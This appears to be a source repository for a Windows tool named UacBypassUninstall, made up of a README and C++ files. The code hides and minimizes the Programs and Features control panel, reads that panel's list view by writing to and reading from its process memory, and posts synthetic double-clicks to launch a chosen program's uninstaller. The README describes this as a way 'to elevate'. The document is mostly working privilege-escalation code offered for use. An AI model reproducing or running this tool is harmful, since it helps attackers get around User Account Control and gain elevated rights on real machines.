├── README.md ├── appinfo.h ├── appinfo.cpp └── main.cpp /README.md: -------------------------------------------------------------------------------- 1 | # UacBypassUninstall 2 | 3 | //get app item list
4 | UacBypassUninstall.exe -list
5 |
6 | //use app index to elevate
7 | UacBypassUninstall.exe -exp index
8 | -------------------------------------------------------------------------------- /appinfo.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | using namespace std; 6 | 7 | struct ApplicationInfoA 8 | { 9 | string strName; 10 | string strDisplayName; 11 | string strPublisher; 12 | string strVersion; 13 | string strDisplayVersion; 14 | string strInstallLocation; 15 | string strUninstallString; 16 | }; 17 | 18 | int _GetAppInfoA_(HKEY hKey, LPSTR lpszAppName, LPCSTR lpszKeyValueName, string& strKeyValue); 19 | int GetAllInstalledAppInfoA(LPCSTR lpszSubKey, vector& vAppInfo); 20 | -------------------------------------------------------------------------------- /appinfo.cpp: -------------------------------------------------------------------------------- 1 | #include "appinfo.h" 2 | 3 | 4 | int _GetAppInfoA_(HKEY hKey, LPSTR lpszAppName, LPCSTR lpszKeyValueName, string& strKeyValue) 5 | { 6 | int ret; 7 | HKEY hInstallAppKey; 8 | ret = RegOpenKeyExA(hKey, lpszAppName, 0, KEY_READ, &hInstallAppKey); 9 | if (ret != ERROR_SUCCESS) 10 | return -1; 11 | 12 | DWORD dwKeyValueType = REG_SZ; 13 | DWORD dwKeyValueDataSize = 0; 14 | ret = RegQueryValueExA(hInstallAppKey, lpszKeyValueName, NULL, &dwKeyValueType, NULL, &dwKeyValueDataSize); 15 | if (ret == ERROR_FILE_NOT_FOUND) 16 | { 17 | RegCloseKey(hInstallAppKey); 18 | return 0; 19 | } 20 | else if (ret != ERROR_SUCCESS) 21 | { 22 | RegCloseKey(hInstallAppKey); 23 | return -1; 24 | } 25 | 26 | if (dwKeyValueType != REG_SZ && dwKeyValueType != REG_EXPAND_SZ) 27 | { 28 | RegCloseKey(hInstallAppKey); 29 | return 0; 30 | } 31 | LPSTR lpszKeyValueData = new char[dwKeyValueDataSize + 1]; 32 | memset(lpszKeyValueData, 0, dwKeyValueDataSize + 1); 33 | ret = RegQueryValueExA(hInstallAppKey, lpszKeyValueName, NULL, &dwKeyValueType, (LPBYTE)lpszKeyValueData, &dwKeyValueDataSize); 34 | if (ret != ERROR_SUCCESS) 35 | { 36 | delete[] lpszKeyValueData; 37 | RegCloseKey(hInstallAppKey); 38 | return -1; 39 | } 40 | strKeyValue = lpszKeyValueData; 41 | delete[] lpszKeyValueData; 42 | RegCloseKey(hInstallAppKey); 43 | return 0; 44 | } 45 | 46 | int GetAllInstalledAppInfoA(LPCSTR lpszSubKey, vector& vAppInfo) 47 | { 48 | int ret = 0; 49 | HKEY hKey = NULL; 50 | ret = RegOpenKeyExA(HKEY_LOCAL_MACHINE, lpszSubKey, 0, KEY_READ, &hKey); 51 | if (ret != ERROR_SUCCESS) 52 | return -1; 53 | 54 | DWORD dwSubKeysCnt; 55 | DWORD dwMaxSubKeyNameLen; 56 | DWORD dwKeyValueCnt; 57 | DWORD dwMaxKeyValueNameLen; 58 | DWORD dwMaxKeyValueDataLen; 59 | 60 | ret = RegQueryInfoKey(hKey, NULL, NULL, NULL, &dwSubKeysCnt, &dwMaxSubKeyNameLen, NULL, &dwKeyValueCnt, &dwMaxKeyValueNameLen, &dwMaxKeyValueDataLen, NULL, NULL); 61 | if (ret != ERROR_SUCCESS) 62 | { 63 | RegCloseKey(hKey); 64 | return -1; 65 | } 66 | 67 | DWORD dwIndex; 68 | LPSTR lpszSubKeyName = new char[dwMaxSubKeyNameLen + 1]; 69 | DWORD dwNameLen = dwMaxSubKeyNameLen + 1; 70 | 71 | for (dwIndex = 0; dwIndex < dwSubKeysCnt; ++dwIndex) 72 | { 73 | dwNameLen = dwMaxSubKeyNameLen + 1; 74 | memset(lpszSubKeyName, 0, dwMaxSubKeyNameLen + 1); 75 | 76 | ret = RegEnumKeyExA(hKey, dwIndex, lpszSubKeyName, &dwNameLen, NULL, NULL, NULL, NULL); 77 | if (ret != ERROR_SUCCESS) 78 | { 79 | RegCloseKey(hKey); 80 | delete[] lpszSubKeyName; 81 | return -1; 82 | } 83 | 84 | ApplicationInfoA appInfo; 85 | appInfo.strName = lpszSubKeyName; 86 | _GetAppInfoA_(hKey, lpszSubKeyName, "DisplayName", appInfo.strDisplayName); 87 | _GetAppInfoA_(hKey, lpszSubKeyName, "Publisher", appInfo.strPublisher); 88 | _GetAppInfoA_(hKey, lpszSubKeyName, "Version", appInfo.strVersion); 89 | _GetAppInfoA_(hKey, lpszSubKeyName, "DisplayVersion", appInfo.strDisplayVersion); 90 | _GetAppInfoA_(hKey, lpszSubKeyName, "InstallLocation", appInfo.strInstallLocation); 91 | _GetAppInfoA_(hKey, lpszSubKeyName, "UninstallString", appInfo.strUninstallString); 92 | vAppInfo.push_back(appInfo); 93 | } 94 | 95 | delete[] lpszSubKeyName; 96 | RegCloseKey(hKey); 97 | return 0; 98 | } -------------------------------------------------------------------------------- /main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include "appinfo.h" 7 | #pragma comment(lib, "Shlwapi.lib") 8 | 9 | #define MAX_BUF 260 10 | 11 | typedef struct 12 | { 13 | BOOL Vulnerable; 14 | WCHAR DisplayName[MAX_BUF]; 15 | WCHAR UninstallString[MAX_PATH]; 16 | }UninstallItem, *pUninstallItem; 17 | 18 | LPSTR Unicode2Ansi(LPCWSTR lpWideCharStr) 19 | { 20 | int nAnsiLen = 0; 21 | LPSTR pAnsi = NULL; 22 | nAnsiLen = WideCharToMultiByte(CP_ACP, 0, lpWideCharStr, -1, NULL, 0, NULL, NULL); 23 | pAnsi = (LPSTR)malloc(nAnsiLen + 1); 24 | memset(pAnsi, 0, nAnsiLen + 1); 25 | WideCharToMultiByte(CP_ACP, 0, lpWideCharStr, -1, pAnsi, nAnsiLen, NULL, NULL); 26 | return pAnsi; 27 | } 28 | 29 | HWND FindNestedWindowFromClassName(HWND OutmostWindow, PWCHAR *ClassNames, DWORD ClassCount) 30 | { 31 | HWND ParentHwnd = OutmostWindow; 32 | HWND ChildHwnd = NULL; 33 | for (DWORD i = 0; i < ClassCount; i++) 34 | { 35 | do 36 | { 37 | ChildHwnd = FindWindowEx(ParentHwnd, NULL, ClassNames[i], NULL); 38 | } while (!ChildHwnd); 39 | ParentHwnd = ChildHwnd; 40 | } 41 | return ChildHwnd; 42 | } 43 | 44 | VOID GetListedNames(HANDLE hProcess, HWND SysListView32Hwnd, pUninstallItem pItems, DWORD ItemCount) 45 | { 46 | WCHAR TextBuf[MAX_BUF] = { 0 }; 47 | PWCHAR pText = (PWCHAR)VirtualAllocEx(hProcess, NULL, MAX_BUF, MEM_COMMIT, PAGE_READWRITE); 48 | LPLVITEMW plvitem = (LPLVITEMW)VirtualAllocEx(hProcess, NULL, sizeof(LVITEM), MEM_COMMIT, PAGE_READWRITE); 49 | LVITEMW lvitem; 50 | lvitem.cchTextMax = MAX_BUF; 51 | lvitem.iSubItem = 0; 52 | lvitem.pszText = pText; 53 | WriteProcessMemory(hProcess, plvitem, &lvitem, sizeof(LVITEMW), NULL); 54 | for (DWORD i = 0; i < ItemCount; i++) 55 | { 56 | SendMessage(SysListView32Hwnd, LVM_GETITEMTEXT, i, (LPARAM)plvitem); 57 | ReadProcessMemory(hProcess, pText, TextBuf, MAX_BUF, NULL); 58 | pItems[i].Vulnerable = FALSE; 59 | lstrcpyn(pItems[i].DisplayName, TextBuf, MAX_BUF); 60 | } 61 | } 62 | 63 | BOOL DBClickItem(HANDLE hProcess, HWND SysListView32Hwnd, DWORD ItemIndex) 64 | { 65 | if (!SysListView32Hwnd || !hProcess) 66 | return FALSE; 67 | PRECT pRect = (PRECT)VirtualAllocEx(hProcess, NULL, sizeof(RECT), MEM_COMMIT, PAGE_READWRITE); 68 | if (!pRect) 69 | return FALSE; 70 | RECT Rect; 71 | Rect.left = LVIR_BOUNDS; 72 | if (!WriteProcessMemory(hProcess, pRect, &Rect, sizeof(RECT), NULL)) 73 | return FALSE; 74 | SendMessage(SysListView32Hwnd, LVM_GETITEMRECT, ItemIndex, (LPARAM)pRect); 75 | if (!ReadProcessMemory(hProcess, pRect, &Rect, sizeof(RECT), NULL)) 76 | return FALSE; 77 | DWORD Pos = ((Rect.top + Rect.bottom) / 2 << 16) + (Rect.left + 30); 78 | PostMessage(SysListView32Hwnd, WM_LBUTTONDOWN, MK_LBUTTON, (LPARAM)Pos); 79 | PostMessage(SysListView32Hwnd, WM_LBUTTONUP, NULL, (LPARAM)Pos); 80 | PostMessage(SysListView32Hwnd, WM_LBUTTONDBLCLK, MK_LBUTTON, (LPARAM)Pos); 81 | PostMessage(SysListView32Hwnd, WM_LBUTTONUP, NULL, (LPARAM)Pos); 82 | return TRUE; 83 | } 84 | 85 | HANDLE WindowToProcess(HWND hWnd) 86 | { 87 | DWORD dwPID = 0; 88 | DWORD dwThreadID = GetWindowThreadProcessId(hWnd, &dwPID); 89 | return OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID); 90 | } 91 | 92 | void wmain(int argc, wchar_t* argv[]) 93 | { 94 | bool bList = false; 95 | int nIndex = -1; 96 | vector vAppInfo; 97 | vector vAppInfo_wow64; 98 | WCHAR WinClassName[MAX_BUF] = { 0 }; 99 | WCHAR WinText[MAX_BUF] = { 0 }; 100 | HWND Hwnd = NULL; 101 | PWCHAR WindowClasses[] = { L"ShellTabWindowClass", L"DUIViewWndClassName", L"DirectUIHWND", L"CtrlNotifySink", L"SHELLDLL_DefView", L"SysListView32" }; 102 | 103 | if (wcsicmp(argv[1], L"-list") == 0) 104 | bList = true; 105 | else if (wcsicmp(argv[1], L"-exp") == 0) 106 | nIndex = _wtoi(argv[2]); 107 | 108 | if (!bList && nIndex == 0) 109 | return; 110 | 111 | GetAllInstalledAppInfoA("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", vAppInfo); 112 | GetAllInstalledAppInfoA("SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall", vAppInfo_wow64); 113 | 114 | WinExec("rundll32.exe shell32.dll Control_RunDLL appwiz.cpl 2", SW_HIDE); 115 | 116 | for (int i = 0; i < 5; i++) 117 | { 118 | Hwnd = GetForegroundWindow(); 119 | if (lstrcmp(WinClassName, L"CabinetWClass") != 0 || StrStrW(WinText, L"Programs and Features") == NULL) 120 | { 121 | Hwnd = GetForegroundWindow(); 122 | GetClassName(Hwnd, WinClassName, MAX_BUF); 123 | SendMessage(Hwnd, WM_GETTEXT, MAX_BUF, (LPARAM)WinText); 124 | } 125 | else 126 | break; 127 | Sleep(100); 128 | } 129 | 130 | ShowWindow(Hwnd, SW_MINIMIZE); 131 | 132 | HWND SysListView32 = FindNestedWindowFromClassName(Hwnd, WindowClasses, sizeof(WindowClasses) / sizeof(PWCHAR)); 133 | if (!SysListView32) 134 | { 135 | _tprintf(L"Not found window.\n"); 136 | goto CLEAN; 137 | } 138 | 139 | DWORD ItemCount = ListView_GetItemCount(SysListView32); 140 | if(ItemCount <= 0) 141 | { 142 | _tprintf(L"Item count %d.\n", ItemCount); 143 | goto CLEAN; 144 | } 145 | 146 | pUninstallItem pItems = (pUninstallItem)new UninstallItem[ItemCount]; 147 | memset(pItems, 0, sizeof(UninstallItem)*ItemCount); 148 | 149 | HANDLE hProcess = WindowToProcess(SysListView32); 150 | if (!hProcess) 151 | { 152 | _tprintf(L"Window to process error.\n"); 153 | goto CLEAN; 154 | } 155 | 156 | GetListedNames(hProcess, SysListView32, pItems, ItemCount); 157 | 158 | if (bList) 159 | { 160 | for (int i = 0; i < ItemCount; i++) 161 | { 162 | bool bFind = false; 163 | char* name = Unicode2Ansi(pItems[i].DisplayName); 164 | vector::iterator iter = vAppInfo.begin(); 165 | while (iter != vAppInfo.end()) 166 | { 167 | if (stricmp(name, iter->strDisplayName.c_str()) == 0) 168 | { 169 | _tprintf(L"%d:%S:%S\n", i, iter->strDisplayName.c_str(), iter->strUninstallString.c_str()); 170 | bFind = true; 171 | break; 172 | } 173 | ++iter; 174 | } 175 | if (!bFind) 176 | { 177 | iter = vAppInfo_wow64.begin(); 178 | while (iter != vAppInfo_wow64.end()) 179 | { 180 | if (stricmp(name, iter->strDisplayName.c_str()) == 0) 181 | { 182 | _tprintf(L"%d:%S:%S\n", i, iter->strDisplayName.c_str(), iter->strUninstallString.c_str()); 183 | break; 184 | } 185 | ++iter; 186 | } 187 | } 188 | } 189 | } 190 | else if (nIndex >= 0) 191 | { 192 | DBClickItem(hProcess, SysListView32, nIndex); 193 | Sleep(100); 194 | } 195 | 196 | CLEAN: 197 | SendMessage(Hwnd, WM_CLOSE, 0, 0); 198 | } --------------------------------------------------------------------------------